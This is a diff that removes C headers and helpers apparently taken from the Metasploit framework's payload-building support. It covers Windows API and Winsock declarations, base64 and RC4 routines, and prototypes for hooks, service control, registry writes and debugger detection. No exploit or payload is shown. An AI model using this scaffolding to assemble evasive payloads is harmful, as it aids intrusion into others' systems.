||||
WINAPI int MessageBox __attribute__((dllimport))(HWND, LPCTSTR, LPCTSTR, UINT);
|
||||
WINAPI BOOL Beep __attribute__((dllimport))(DWORD, DWORD);
|
||||
WINAPI BOOL CreateDirectory __attribute__((dllimport))(LPCTSTR, LPSECURITY_ATTRIBUTES);
|
||||
WINAPI HANDLE CreateFileMapping __attribute__((dllimport))(HANDLE, LPSECURITY_ATTRIBUTES, DWORD, DWORD, DWORD, LPCTSTR);
|
||||
WINAPI LPVOID MapViewOfFile __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, size_t);
|
||||
WINAPI LPVOID MapViewOfFileEx __attribute__((dllimport))(HANDLE, DWORD, DWORD, DWORD, size_t, LPVOID);
|
||||
WINAPI BOOL FindClose __attribute__((dllimport))(HANDLE);
|
||||
WINAPI HANDLE FindFirstFile __attribute__((dllimport))(LPCTSTR, LPWIN32_FIND_DATA);
|
||||
WINAPI HANDLE FindFirstFileEx __attribute__((dllimport))(LPCTSTR, FINDEX_INFO_LEVELS, LPVOID, FINDEX_SEARCH_OPS, LPVOID, DWORD);
|
||||
WINAPI BOOL FindNextFile __attribute__((dllimport))(HANDLE, LPWIN32_FIND_DATA);
|
||||
WINAPI HANDLE GetCurrentProcess __attribute__((dllimport))(void);
|
||||
WINAPI HANDLE GetCurrentThread __attribute__((dllimport))(void);
|
||||
WINAPI LRESULT CallNextHookEx __attribute__((dllimport))(HHOOK, int, WPARAM, LPARAM);
|
||||
WINAPI BOOL GetMessage __attribute__((dllimport))(LPMSG, HWND, UINT, UINT);
|
||||
WINAPI BOOL PostMessage __attribute__((dllimport))(HWND, UINT, WPARAM, LPARAM);
|
||||
WINAPI LRESULT SendMessage __attribute__((dllimport))(HWND, UINT, WPARAM, LPARAM);
|
||||
WINAPI SC_HANDLE OpenSCManager __attribute__((dllimport))(LPCTSTR, LPCTSTR, DWORD);
|
||||
WINAPI BOOL StartService __attribute__((dllimport))(SC_HANDLE, DWORD, LPCTSTR*);
|
||||
WINAPI BOOL SetServiceStatus __attribute__((dllimport))(SERVICE_STATUS_HANDLE, LPSERVICE_STATUS);
|
||||
WINAPI SC_HANDLE CreateService __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD, DWORD, LPCTSTR, LPCTSTR, LPDWORD, LPCTSTR, LPCTSTR, LPCTSTR);
|
||||
WINAPI SC_HANDLE OpenService __attribute__((dllimport))(SC_HANDLE, LPCTSTR, DWORD);
|
||||
WINAPI BOOL ChangeServiceConfig __attribute__((dllimport))(SC_HANDLE, DWORD, DWORD, DWORD, LPCTSTR, LPCTSTR, LPDWORD, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR);
|
||||
WINAPI BOOL DeleteService __attribute__((dllimport))(SC_HANDLE);
|
||||
WINAPI BOOL EnumServicesStatus __attribute__((dllimport))(SC_HANDLE, DWORD, DWORD, LPENUM_SERVICE_STATUS, DWORD, LPDWORD, LPDWORD, LPDWORD);
|
||||
WINAPI BOOL EnumServicesStatusEx __attribute__((dllimport))(SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPBYTE, DWORD, LPDWORD, LPDWORD, LPDWORD, LPCTSTR);
|
||||
WINAPI BOOL CloseServiceHandle __attribute__((dllimport))(SC_HANDLE);
|
||||
WINAPI BOOL ControlService __attribute__((dllimport))(SC_HANDLE, DWORD, LPSERVICE_STATUS);
|
||||
WINAPI BOOL GetServiceDisplayName __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPTSTR, LPDWORD);
|
||||
WINAPI BOOL GetServiceKeyName __attribute__((dllimport))(SC_HANDLE, LPCTSTR, LPTSTR, LPDWORD);
|
||||
WINAPI BOOL QueryServiceStatus __attribute__((dllimport))(SC_HANDLE, LPSERVICE_STATUS);
|
||||
WINAPI BOOL OpenClipboard __attribute__((dllimport))(HWND);
|
||||
WINAPI HANDLE SetClipboardData __attribute__((dllimport))(UINT, HANDLE);
|
||||
WINAPI HANDLE GetClipboardData __attribute__((dllimport))(UINT);
|
||||
WINAPI BOOL EmptyClipboard __attribute__((dllimport))(void);
|
||||
WINAPI BOOL CloseClipboard __attribute__((dllimport))(void);
|
||||
WINAPI LONG RegSetValueEx __attribute__((dllimport))(HKEY, LPCTSTR, DWORD, DWORD, const BYTE*, DWORD);
|
||||
WINAPI LONG RegOpenCurrentUser __attribute__((dllimport))(REGSAM, PHKEY);
|
||||
WINAPI LONG RegDeleteValue __attribute__((dllimport))(HKEY, LPCTSTR);
|
||||
WINAPI LONG RegOpenKey __attribute__((dllimport))(HKEY, LPCTSTR, PHKEY);
|
||||
WINAPI LONG RegQueryValueEx __attribute__((dllimport))(HKEY, LPCTSTR, LPDWORD, LPDWORD, LPBYTE, LPDWORD);
|
||||
WINAPI LONG RegCloseKey __attribute__((dllimport))(HKEY);
|
||||
WINAPI LONG RegCreateKeyEx __attribute__((dllimport))(HKEY, LPCTSTR, DWORD, LPTSTR, DWORD, REGSAM, LPSECURITY_ATTRIBUTES, PHKEY, LPDWORD);
|
||||
WINAPI HHOOK SetWindowHookEx __attribute__((dllimport))(int, HOOKPROC, HINSTANCE, DWORD);
|
||||
WINAPI BOOL UnhookWindowsHookEx __attribute__((dllimport))(HHOOK);
|
||||
WINAPI BOOL IsDebuggerPresent __attribute__((dllimport))(void);
|
||||
WINAPI BOOL CheckRemoteDebuggerPresent __attribute__((dllimport))(HANDLE, PBOOL);
|
||||
WINAPI NTSTATUS NtQueryInformationProcess __attribute__((dllimport))(HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
|
||||
WINAPI void SetLastError __attribute__((dllimport))(DWORD);
|
||||
WINAPI SERVICE_STATUS_HANDLE RegisterServiceCtrlHandler __attribute__((dllimport))(LPCSTR, LPHANDLER_FUNCTION);
|
||||
BOOL WINAPI StartServiceCtrlDispatcher __attribute__((dllimport))(LPSERVICE_TABLE_ENTRY);
|
||||
LPTSTR WINAPI GetCommandLine __attribute__((dllimport))(void);
|
||||
@@ -1,331 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
#define IPPROTO_IP 0
|
||||
#define IPPROTO_ICMP 1
|
||||
#define IPPROTO_IGMP 2
|
||||
#define IPPROTO_GGP 3
|
||||
#define IPPROTO_TCP 6
|
||||
#define IPPROTO_PUP 12
|
||||
#define IPPROTO_UDP 17
|
||||
#define IPPROTO_IDP 22
|
||||
#define IPPROTO_ND 77
|
||||
#define IPPROTO_RAW 255
|
||||
#define IPPROTO_MAX 256
|
||||
#define IPPORT_ECHO 7
|
||||
#define IPPORT_DISCARD 9
|
||||
#define IPPORT_SYSTAT 11
|
||||
#define IPPORT_DAYTIME 13
|
||||
#define IPPORT_NETSTAT 15
|
||||
#define IPPORT_FTP 21
|
||||
#define IPPORT_TELNET 23
|
||||
#define IPPORT_SMTP 25
|
||||
#define IPPORT_TIMESERVER 37
|
||||
#define IPPORT_NAMESERVER 42
|
||||
#define IPPORT_WHOIS 43
|
||||
#define IPPORT_MTP 57
|
||||
#define IPPORT_TFTP 69
|
||||
#define IPPORT_RJE 77
|
||||
#define IPPORT_FINGER 79
|
||||
#define IPPORT_TTYLINK 87
|
||||
#define IPPORT_SUPDUP 95
|
||||
#define IPPORT_EXECSERVER 512
|
||||
#define IPPORT_LOGINSERVER 513
|
||||
#define IPPORT_CMDSERVER 514
|
||||
#define IPPORT_EFSSERVER 520
|
||||
#define IPPORT_BIFFUDP 512
|
||||
#define IPPORT_WHOSERVER 513
|
||||
#define IPPORT_ROUTESERVER 520
|
||||
#define IPPORT_RESERVED 1024
|
||||
#define IMPLINK_IP 155
|
||||
#define IMPLINK_LOWEXPER 156
|
||||
#define IMPLINK_HIGHEXPER 158
|
||||
#define WSADESCRIPTION_LEN 256
|
||||
#define WSASYS_STATUS_LEN 128
|
||||
#define SD_RECEIVE 0x00
|
||||
#define SD_SEND 0x01
|
||||
#define SD_BOTH 0x02
|
||||
#define FD_SETSIZE 64
|
||||
#define WSA_INVALID_HANDLE 6
|
||||
#define WSA_NOT_ENOUGH_MEMORY 8
|
||||
#define WSA_INVALID_PARAMETER 87
|
||||
#define WSA_OPERATION_ABORTED 995
|
||||
#define WSA_IO_INCOMPLETE 996
|
||||
#define WSA_IO_PENDING 997
|
||||
#define WSAEINTR 10004
|
||||
#define WSAEBADF 10009
|
||||
#define WSAEACCES 10013
|
||||
#define WSAEFAULT 10014
|
||||
#define WSAEINVAL 10022
|
||||
#define WSAEMFILE 10024
|
||||
#define WSAEWOULDBLOCK 10035
|
||||
#define WSAEINPROGRESS 10036
|
||||
#define WSAEALREADY 10037
|
||||
#define WSAENOTSOCK 10038
|
||||
#define WSAEDESTADDRREQ 10039
|
||||
#define WSAEMSGSIZE 10040
|
||||
#define WSAEPROTOTYPE 10041
|
||||
#define WSAENOPROTOOPT 10042
|
||||
#define WSAEPROTONOSUPPORT 10043
|
||||
#define WSAESOCKTNOSUPPORT 10044
|
||||
#define WSAEOPNOTSUPP 10045
|
||||
#define WSAEPFNOSUPPORT 10046
|
||||
#define WSAEAFNOSUPPORT 10047
|
||||
#define WSAEADDRINUSE 10048
|
||||
#define WSAEADDRNOTAVAIL 10049
|
||||
#define WSAENETDOWN 10050
|
||||
#define WSAENETUNREACH 10051
|
||||
#define WSAENETRESET 10052
|
||||
#define WSAECONNABORTED 10053
|
||||
#define WSAECONNRESET 10054
|
||||
#define WSAENOBUFS 10055
|
||||
#define WSAEISCONN 10056
|
||||
#define WSAENOTCONN 10057
|
||||
#define WSAESHUTDOWN 10058
|
||||
#define WSAETOOMANYREFS 10059
|
||||
#define WSAETIMEDOUT 10060
|
||||
#define WSAECONNREFUSED 10061
|
||||
#define WSAELOOP 10062
|
||||
#define WSAENAMETOOLONG 10063
|
||||
#define WSAEHOSTDOWN 10064
|
||||
#define WSAEHOSTUNREACH 10065
|
||||
#define WSAENOTEMPTY 10066
|
||||
#define WSAEPROCLIM 10067
|
||||
#define WSAEUSERS 10068
|
||||
#define WSAEDQUOT 10069
|
||||
#define WSAESTALE 10070
|
||||
#define WSAEREMOTE 10071
|
||||
#define WSASYSNOTREADY 10091
|
||||
#define WSAVERNOTSUPPORTED 10092
|
||||
#define WSANOTINITIALISED 10093
|
||||
#define WSAEDISCON 10101
|
||||
#define WSAENOMORE 10102
|
||||
#define WSAECANCELLED 10103
|
||||
#define WSAEINVALIDPROCTABLE 10104
|
||||
#define WSAEINVALIDPROVIDER 10105
|
||||
#define WSAEPROVIDERFAILEDINIT 10106
|
||||
#define WSASYSCALLFAILURE 10107
|
||||
#define WSASERVICE_NOT_FOUND 10108
|
||||
#define WSATYPE_NOT_FOUND 10109
|
||||
#define WSA_E_NO_MORE 10110
|
||||
#define WSA_E_CANCELLED 10111
|
||||
#define WSAEREFUSED 10112
|
||||
#define WSAHOST_NOT_FOUND 11001
|
||||
#define WSATRY_AGAIN 11002
|
||||
#define WSANO_RECOVERY 11003
|
||||
#define WSANO_DATA 11004
|
||||
#define WSA_QOS_RECEIVERS 11005
|
||||
#define WSA_QOS_SENDERS 11006
|
||||
#define WSA_QOS_NO_SENDERS 11007
|
||||
#define WSA_QOS_NO_RECEIVERS 11008
|
||||
#define WSA_QOS_REQUEST_CONFIRMED 11009
|
||||
#define WSA_QOS_ADMISSION_FAILURE 11010
|
||||
#define WSA_QOS_POLICY_FAILURE 11011
|
||||
#define WSA_QOS_BAD_STYLE 11012
|
||||
#define WSA_QOS_BAD_OBJECT 11013
|
||||
#define WSA_QOS_TRAFFIC_CTRL_ERROR 11014
|
||||
#define WSA_QOS_GENERIC_ERROR 11015
|
||||
#define WSA_QOS_ESERVICETYPE 11016
|
||||
#define WSA_QOS_EFLOWSPEC 11017
|
||||
#define WSA_QOS_EPROVSPECBUF 11018
|
||||
#define WSA_QOS_EFILTERSTYLE 11019
|
||||
#define WSA_QOS_EFILTERTYPE 11020
|
||||
#define WSA_QOS_EFILTERCOUNT 11021
|
||||
#define WSA_QOS_EOBJLENGTH 11022
|
||||
#define WSA_QOS_EFLOWCOUNT 11023
|
||||
#define WSA_QOS_EUNKOWNPSOBJ 11024
|
||||
#define WSA_QOS_EPOLICYOBJ 11025
|
||||
#define WSA_QOS_EFLOWDESC 11026
|
||||
#define WSA_QOS_EPSFLOWSPEC 11027
|
||||
#define WSA_QOS_EPSFILTERSPEC 11028
|
||||
#define WSA_QOS_ESDMODEOBJ 11029
|
||||
#define WSA_QOS_ESHAPERATEOBJ 11030
|
||||
#define WSA_QOS_RESERVED_PETYPE 11031
|
||||
#define AF_UNSPEC 0
|
||||
#define AF_INET 2
|
||||
#define AF_IPX 6
|
||||
#define AF_APPLETALK 16
|
||||
#define AF_NETBIOS 17
|
||||
#define AF_INET6 23
|
||||
#define AF_IRDA 26
|
||||
#define AF_BTH 32
|
||||
#define SOCK_STREAM 1
|
||||
#define SOCK_DGRAM 2
|
||||
#define SOCK_RAW 3
|
||||
#define SOCK_RDM 4
|
||||
#define SOCK_SEQPACKET 5
|
||||
#define INVALID_SOCKET (SOCKET)(~0)
|
||||
#define SOCKET_ERROR (-1)
|
||||
#define AI_PASSIVE 0x00000001
|
||||
#define AI_CANONNAME 0x00000002
|
||||
#define AI_NUMERICHOST 0x00000004
|
||||
#define AI_NUMERICSERV 0x00000008
|
||||
#define AI_ALL 0x00000100
|
||||
#define AI_ADDRCONFIG 0x00000400
|
||||
#define AI_V4MAPPED 0x00000800
|
||||
#define AI_NON_AUTHORITATIVE 0x00004000
|
||||
#define AI_SECURE 0x00008000
|
||||
#define AI_RETURN_PREFERRED_NAMES 0x00010000
|
||||
#define AI_FQDN 0x00020000
|
||||
#define AI_FILESERVER 0x00040000
|
||||
#define MAX_PROTOCOL_CHAIN 7
|
||||
#define WSAPROTOCOL_LEN 255
|
||||
#define SOMAXCONN 0x7fffffff
|
||||
|
||||
typedef unsigned char u_char;
|
||||
typedef unsigned short u_short;
|
||||
typedef unsigned int u_int;
|
||||
typedef unsigned long u_long;
|
||||
typedef u_int SOCKET;
|
||||
typedef unsigned int GROUP;
|
||||
typedef ULONG SERVICETYPE;
|
||||
|
||||
struct sockaddr {
|
||||
u_short sa_family;
|
||||
char sa_data[14];
|
||||
} SOCKADDR;
|
||||
|
||||
typedef struct WSAData {
|
||||
WORD wVersion;
|
||||
WORD wHighVersion;
|
||||
char szDescription[WSADESCRIPTION_LEN+1];
|
||||
char szSystemStatus[WSASYS_STATUS_LEN+1];
|
||||
unsigned short iMaxSockets;
|
||||
unsigned short iMaxUdpDg;
|
||||
char *lpVendorInfo;
|
||||
} WSADATA, *LPWSADATA;
|
||||
|
||||
typedef struct addrinfo {
|
||||
int ai_flags;
|
||||
int ai_family;
|
||||
int ai_socktype;
|
||||
int ai_protocol;
|
||||
size_t ai_addrlen;
|
||||
char *ai_canonname;
|
||||
struct sockaddr *ai_addr;
|
||||
struct addrinfo *ai_next;
|
||||
} ADDRINFOA, *PADDRINFOA;
|
||||
|
||||
typedef struct fd_set {
|
||||
u_int fd_count;
|
||||
SOCKET fd_array[FD_SETSIZE];
|
||||
} fd_set;
|
||||
|
||||
typedef struct in_addr {
|
||||
union {
|
||||
struct {
|
||||
u_char s_b1,s_b2,s_b3,s_b4;
|
||||
} S_un_b;
|
||||
struct {
|
||||
u_short s_w1,s_w2;
|
||||
} S_un_w;
|
||||
u_long S_addr;
|
||||
} S_un;
|
||||
} IN_ADDR, *PIN_ADDR, *LPIN_ADDR;
|
||||
|
||||
struct sockaddr_in {
|
||||
short sin_family;
|
||||
u_short sin_port;
|
||||
struct in_addr sin_addr;
|
||||
char sin_zero[8];
|
||||
};
|
||||
|
||||
struct sockproto {
|
||||
u_short sp_family;
|
||||
u_short sp_protocol;
|
||||
};
|
||||
|
||||
typedef struct hostent {
|
||||
char *h_name;
|
||||
char **h_aliases;
|
||||
short h_addrtype;
|
||||
short h_length;
|
||||
char **h_addr_list;
|
||||
} HOSTENT, *PHOSTENT, *LPHOSTENT;
|
||||
|
||||
typedef struct _WSAPROTOCOLCHAIN {
|
||||
int ChainLen;
|
||||
DWORD ChainEntries[MAX_PROTOCOL_CHAIN];
|
||||
} WSAPROTOCOLCHAIN, *LPWSAPROTOCOLCHAIN;
|
||||
|
||||
typedef struct _WSAPROTOCOL_INFO {
|
||||
DWORD dwServiceFlags1;
|
||||
DWORD dwServiceFlags2;
|
||||
DWORD dwServiceFlags3;
|
||||
DWORD dwServiceFlags4;
|
||||
DWORD dwProviderFlags;
|
||||
GUID ProviderId;
|
||||
DWORD dwCatalogEntryId;
|
||||
WSAPROTOCOLCHAIN ProtocolChain;
|
||||
int iVersion;
|
||||
int iAddressFamily;
|
||||
int iMaxSockAddr;
|
||||
int iMinSockAddr;
|
||||
int iSocketType;
|
||||
int iProtocol;
|
||||
int iProtocolMaxOffset;
|
||||
int iNetworkByteOrder;
|
||||
int iSecurityScheme;
|
||||
DWORD dwMessageSize;
|
||||
DWORD dwProviderReserved;
|
||||
TCHAR szProtocol[WSAPROTOCOL_LEN+1];
|
||||
} WSAPROTOCOL_INFO, *LPWSAPROTOCOL_INFO;
|
||||
|
||||
typedef struct _WSABUF
|
||||
{
|
||||
ULONG len;
|
||||
CHAR* buf;
|
||||
} WSABUF, *LPWSABUF;
|
||||
|
||||
typedef struct _FLOWSPEC {
|
||||
unsigned int TokenRate;
|
||||
unsigned int TokenBucketSize;
|
||||
unsigned int PeakBandwidth;
|
||||
unsigned int Latency;
|
||||
unsigned int DelayVariation;
|
||||
SERVICETYPE ServiceType;
|
||||
unsigned int MaxSduSize;
|
||||
unsigned int MinimumPolicedSize;
|
||||
} FLOWSPEC, *PFLOWSPEC, *LPFLOWSPEC;
|
||||
|
||||
typedef struct _QUALITYOFSERVICE {
|
||||
FLOWSPEC SendingFlowspec;
|
||||
FLOWSPEC ReceivingFlowspec;
|
||||
WSABUF ProviderSpecific;
|
||||
} QOS, *LPQOS;
|
||||
|
||||
typedef int (CALLBACK *LPCONDITIONPROC)(LPWSABUF, LPWSABUF, LPQOS, LPQOS, LPWSABUF, LPWSABUF, GROUP *, DWORD);
|
||||
typedef struct sockaddr_in SOCKADDR_IN;
|
||||
typedef struct sockaddr_in *PSOCKADDR_IN;
|
||||
typedef struct sockaddr_in *LPSOCKADDR_IN;
|
||||
|
||||
WINAPI int WSAStartup __attribute__((dllimport))(WORD, LPWSADATA);
|
||||
WINAPI int WSACleanup __attribute__((dllimport))();
|
||||
WINAPI int getaddrinfo __attribute__((dllimport))(PCSTR, PCSTR, const ADDRINFOA*, PADDRINFOA*);
|
||||
WINAPI SOCKET socket __attribute__((dllimport))(int, int, int);
|
||||
WINAPI void freeaddrinfo __attribute__((dllimport))(struct addrinfo*);
|
||||
WINAPI int closesocket __attribute__((dllimport))(SOCKET);
|
||||
WINAPI int bind __attribute__((dllimport))(SOCKET, const struct sockaddr*, int);
|
||||
WINAPI SOCKET accept __attribute__((dllimport))(SOCKET, struct sockaddr*, int*);
|
||||
WINAPI BOOL AcceptEx __attribute__((dllimport))(SOCKET, SOCKET, PVOID, DWORD, DWORD, DWORD, LPDWORD, LPOVERLAPPED);
|
||||
WINAPI int connect __attribute__((dllimport))(SOCKET, const struct sockaddr*, int);
|
||||
WINAPI int gethostname __attribute__((dllimport))(char*, int);
|
||||
WINAPI int listen __attribute__((dllimport))(SOCKET, int);
|
||||
WINAPI int recv __attribute__((dllimport))(SOCKET, char*, int, int);
|
||||
WINAPI int recvfrom __attribute__((dllimport))(SOCKET, char*, int, int, struct sockaddr*, int*);
|
||||
WINAPI int send __attribute__((dllimport))(SOCKET, char*, int, int);
|
||||
WINAPI int sendto __attribute__((dllimport))(SOCKET, char*, int, int, const struct sockaddr*, int);
|
||||
WINAPI int select __attribute__((dllimport))(int, fd_set*, fd_set*, fd_set*, const struct timeval*);
|
||||
WINAPI int setsockopt __attribute__((dllimport))(SOCKET, int, int, const char*, int);
|
||||
WINAPI char* inet_ntoa __attribute__((dllimport))(struct in_addr);
|
||||
WINAPI unsigned long inet_addr __attribute__((dllimport))(const char*);
|
||||
WINAPI int shutdown __attribute__((dllimport))(SOCKET, int);
|
||||
WINAPI u_short htons __attribute__((dllimport))(u_short);
|
||||
WINAPI u_long htonl __attribute__((dllimport))(u_long);
|
||||
WINAPI struct hostent* gethostbyname __attribute__((dllimport))(const char*);
|
||||
WINAPI struct hostent* gethostbyaddr __attribute__((dllimport))(const char*, int, int);
|
||||
WINAPI int WSAGetLastError __attribute__((dllimport))();
|
||||
WINAPI SOCKET WSASocket __attribute__((dllimport))(int, int, int, LPWSAPROTOCOL_INFO, GROUP, DWORD);
|
||||
WINAPI SOCKET WSAAccept __attribute__((dllimport))(SOCKET, struct sockaddr*, LPINT, LPCONDITIONPROC, DWORD_PTR);
|
||||
@@ -1,114 +0,0 @@
|
||||
/* from https://github.com/mdornseif/didentd */
|
||||
/* public domain
|
||||
* BASE64 on stdin -> converted data on stdout */
|
||||
|
||||
/* arbitrary data on stdin -> BASE64 data on stdout
|
||||
* UNIX's newline convention is used, i.e. one ASCII control-j (10 decimal).
|
||||
*
|
||||
* public domain
|
||||
*/
|
||||
|
||||
/* Hacked by drt@un.bewaff.net to be a library function working on memory blocks
|
||||
*
|
||||
*/
|
||||
|
||||
static unsigned char alphabet[64] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
|
||||
|
||||
int base64decode(char *dest, const char *src, int l)
|
||||
{
|
||||
static char inalphabet[256], decoder[256];
|
||||
static bool table_initialized = false;
|
||||
int i, bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
if (!table_initialized) {
|
||||
for (i = (sizeof alphabet) - 1; i >= 0; i--) {
|
||||
inalphabet[alphabet[i]] = 1;
|
||||
decoder[alphabet[i]] = i;
|
||||
}
|
||||
table_initialized = true;
|
||||
}
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
if (c == '=') {
|
||||
break;
|
||||
}
|
||||
|
||||
if (c > 255 || !inalphabet[c]) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
bits += decoder[c];
|
||||
char_count++;
|
||||
if (char_count < 4) {
|
||||
bits <<= 6;
|
||||
} else {
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
dest[wpos++] = bits & 0xff;
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
switch (char_count) {
|
||||
case 1:
|
||||
return -1;
|
||||
break;
|
||||
case 2:
|
||||
dest[wpos++] = bits >> 10;
|
||||
break;
|
||||
case 3:
|
||||
dest[wpos++] = bits >> 16;
|
||||
dest[wpos++] = (bits >> 8) & 0xff;
|
||||
break;
|
||||
}
|
||||
|
||||
return wpos;
|
||||
}
|
||||
|
||||
int base64encode(char *dest, const char *src, int l)
|
||||
{
|
||||
int bits, c, char_count;
|
||||
int rpos;
|
||||
int wpos = 0;
|
||||
|
||||
char_count = 0;
|
||||
bits = 0;
|
||||
|
||||
for (rpos = 0; rpos < l; rpos++) {
|
||||
c = src[rpos];
|
||||
|
||||
bits += c;
|
||||
char_count++;
|
||||
if (char_count < 3) {
|
||||
bits <<= 8;
|
||||
} else {
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = alphabet[bits & 0x3f];
|
||||
bits = 0;
|
||||
char_count = 0;
|
||||
}
|
||||
}
|
||||
|
||||
if (char_count != 0) {
|
||||
bits <<= 16 - (8 * char_count);
|
||||
dest[wpos++] = alphabet[bits >> 18];
|
||||
dest[wpos++] = alphabet[(bits >> 12) & 0x3f];
|
||||
if (char_count == 1) {
|
||||
dest[wpos++] = '=';
|
||||
dest[wpos++] = '=';
|
||||
} else {
|
||||
dest[wpos++] = alphabet[(bits >> 6) & 0x3f];
|
||||
dest[wpos++] = '=';
|
||||
}
|
||||
}
|
||||
return wpos;
|
||||
}
|
||||
@@ -1,54 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
// This code was originally obtained and modified from the following source
|
||||
// by Bobin Verton:
|
||||
// https://gist.github.com/rverton/a44fc8ca67ab9ec32089
|
||||
|
||||
#define N 256 // 2^8
|
||||
|
||||
void swap(unsigned char *a, unsigned char *b) {
|
||||
int tmp = *a;
|
||||
*a = *b;
|
||||
*b = tmp;
|
||||
}
|
||||
|
||||
int KSA(char *key, unsigned char *S) {
|
||||
int len = strlen(key);
|
||||
int j = 0;
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
S[i] = i;
|
||||
}
|
||||
|
||||
for (int i = 0; i < N; i++) {
|
||||
j = (j + S[i] + key[i % len]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int PRGA(unsigned char *S, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
int i = 0;
|
||||
int j = 0;
|
||||
|
||||
for (size_t n = 0, len = plainTextSize; n < len; n++) {
|
||||
i = (i + 1) % N;
|
||||
j = (j + S[i]) % N;
|
||||
swap(&S[i], &S[j]);
|
||||
int rnd = S[(S[i] + S[j]) % N];
|
||||
ciphertext[n] = rnd ^ plaintext[n];
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int RC4(char *key, char *plaintext, unsigned char *ciphertext, int plainTextSize) {
|
||||
unsigned char S[N];
|
||||
KSA(key, S);
|
||||
PRGA(S, plaintext, ciphertext, plainTextSize);
|
||||
return 0;
|
||||
}
|
||||
@@ -1,128 +0,0 @@
|
||||
//
|
||||
// License:
|
||||
// https://github.com/rapid7/metasploit-framework/blob/master/LICENSE
|
||||
//
|
||||
|
||||
#define NULL ((void *)0)
|
||||
#define TRUE 1
|
||||
#define FALSE 0
|
||||
#define true 1
|
||||
#define false 0
|
||||
#define VOID void
|
||||
#define _tWinMain WinMain
|
||||
#define CALLBACK __stdcall
|
||||
#define WINAPI __stdcall
|
||||
#define APIENTRY WINAPI
|
||||
#define BUFSIZ 512
|
||||
#define _INTERNAL_BUFSIZ 4096
|
||||
#define _SMALL_BUFSIZ 512
|
||||
#define _NSTREAM_ 512
|
||||
#define _IOB_ENTRIES 20
|
||||
#define RAND_MAX 0x7fff
|
||||
#define EOF (-1)
|
||||
#define SEEK_CUR 1
|
||||
#define SEEK_END 2
|
||||
#define SEEK_SET 0
|
||||
#define FILENAME_MAX 260
|
||||
#define FOPEN_MAX 20
|
||||
#define _SYS_OPEN 20
|
||||
#define _TMP_MAX_S 2147483647
|
||||
#define stdin (&__iob_func()[0])
|
||||
#define stdout (&__iob_func()[1])
|
||||
#define stderr (&__iob_func()[2])
|
||||
#define _IOREAD 0x0001
|
||||
#define _IOWRT 0x0002
|
||||
#define _IOFBF 0x0000
|
||||
#define _IOLBF 0x0040
|
||||
#define _IONBF 0x0004
|
||||
#define _IOMYBUF 0x0008
|
||||
#define _IOEOF 0x0010
|
||||
#define _IOERR 0x0020
|
||||
#define _IOSTRG 0x0040
|
||||
#define _IORW 0x0080
|
||||
#define _TWO_DIGIT_EXPONENT 0x1
|
||||
#define DLL_PROCESS_ATTACH 1
|
||||
#define DLL_PROCESS_DETACH 0
|
||||
#define DLL_THREAD_ATTACH 2
|
||||
#define DLL_THREAD_DETACH 3
|
||||
|
||||
typedef char CHAR;
|
||||
typedef CHAR* PCHAR;
|
||||
typedef const char* LPCTSTR;
|
||||
typedef const char* LPCSTR;
|
||||
typedef const CHAR* PCSTR;
|
||||
typedef char* LPSTR;
|
||||
typedef char* LPTSTR;
|
||||
typedef CHAR* PSTR;
|
||||
typedef unsigned char BYTE;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned long DWORD;
|
||||
typedef unsigned int DWORD32;
|
||||
typedef WORD* LPWORD;
|
||||
typedef long HRESULT;
|
||||
typedef long LONG;
|
||||
typedef float FLOAT;
|
||||
typedef DWORD COLORREF;
|
||||
typedef WORD ATOM;
|
||||
typedef BYTE BOOLEAN;
|
||||
typedef void* HANDLE;
|
||||
typedef HANDLE SC_HANDLE;
|
||||
typedef HANDLE HINSTANCE;
|
||||
typedef HINSTANCE HMODULE;
|
||||
typedef HANDLE HHOOK;
|
||||
typedef HANDLE HCONV;
|
||||
typedef HANDLE HCONFLIST;
|
||||
typedef HANDLE HFONT;
|
||||
typedef HANDLE HGLOBAL;
|
||||
typedef HANDLE HICON;
|
||||
typedef HANDLE HKEY;
|
||||
typedef HANDLE HGLOBAL;
|
||||
typedef HKEY* PHKEY;
|
||||
typedef HANDLE HKL;
|
||||
typedef unsigned char UCHAR;
|
||||
typedef char TCHAR;
|
||||
typedef char CCHAR;
|
||||
typedef int INT;
|
||||
typedef unsigned int UINT;
|
||||
typedef unsigned int UINT_PTR;
|
||||
typedef unsigned long ULONG;
|
||||
typedef unsigned long ULONG_PTR;
|
||||
typedef long* LPLONG;
|
||||
typedef long LONG_PTR;
|
||||
typedef unsigned short USHORT;
|
||||
typedef unsigned short WORD;
|
||||
typedef unsigned int size_t;
|
||||
typedef size_t* PSIZE_T;
|
||||
typedef DWORD* LPDWORD;
|
||||
typedef DWORD* PDWORD;
|
||||
typedef HANDLE* LPHANDLE;
|
||||
typedef HANDLE* PHANDLE;
|
||||
typedef unsigned short u_short;
|
||||
typedef BYTE* LPBYTE;
|
||||
typedef BYTE* PBYTE;
